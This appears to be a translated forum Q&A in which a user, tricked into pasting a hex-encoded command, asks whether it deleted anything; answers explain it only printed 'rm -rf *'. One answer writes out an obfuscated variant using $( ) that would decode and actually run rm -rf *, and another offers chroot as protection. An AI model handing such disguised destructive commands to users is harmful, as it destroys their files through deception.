Меня обманом заставили скопировать и вставить команду. Навредило ли это мне?

Меня обманом заставили скопировать и вставить команду. Навредило ли это мне?

На одном интернет-форуме кто-то (я думаю, просто чтобы потроллить меня) предложил ввести в терминал следующее:

(echo 726d202d7266202a | xxd -r -p)

НЕ ПИШИТЕ ЭТО, ПОТОМУ ЧТО Я НЕ ЗНАЮ, БОЛЬНО ЛИ ЭТО.

В терминале выдано следующее:

rm -rf *ryanmcclure@RyansLinuxBox:~$

Это что-нибудь удалило? Мне интересно, потому что я слышал, rm -rf *что это ужасная команда, которая удаляет все.

Редактировать: Просто чтобы любой, кто это читает, знал, мне сказали ввести это, чтобы увидеть анимацию ASCII-арта в терминале. Предупреждаю, что это трюк, который был использован, чтобы обмануть меня.

решение1

Нет, ничего не произошло — это просто близкая к разгадке ситуация.

Скобки говорят bash (оболочке) выполнить содержимое в подоболочке (что довольно бессмысленно). Выполняемая команда echo 726d202d7266202a | xxd -r -pничего не делает, кроме как выводит на экран следующий текст: «rm -rf *». Если бы она имелабегатьэтот текст как команда — вместо того, чтобы просто выводить текст на экран — вы бы попали в беду. Так что в любом случае, пусть это будет бесплатным уроком не запускать команды из интернета, которые вы не понимаете.

решение2

В духе «лучше научить человека ловить рыбу, чем дать ему рыбу», советую вам набрать в терминалеman xxd(и да, я еще один человек, который говорит вам ввести что-то в терминал... но вы должны признать эту manкоманду безопасной).

Если вы не знакомы с echo,Вам тоже стоит это проверить.. По сути, указанная вами команда «выводит» строку на стандартный вывод.

Однако канал |направляет этот стандартный вывод в стандартный ввод команды xxd, которая в данном случае настроена на преобразование строки в шестнадцатеричном формате в обычный форматированный ввод.

Так что короткий ответ: нет, ничего не удалилось. Но отразилось rm -rf *на вашем экране, что, должно быть, заставило вас немного похолодеть :-)

решение3

Вероятно, злоумышленник хотел, чтобы вы вставили его $(echo 726d202d7266202a | xxd -r -p)в свою оболочку. xxd декодирует 726d202d7266202a в rm -rf *, который затем будет выполнен.

решение4

если вы беспокоитесь о том, что кто-то потревожит вашу файловую систему, то chrootэто в вашем распоряжении. chroot /random/directoryзатем выполните команду.

Связанный контент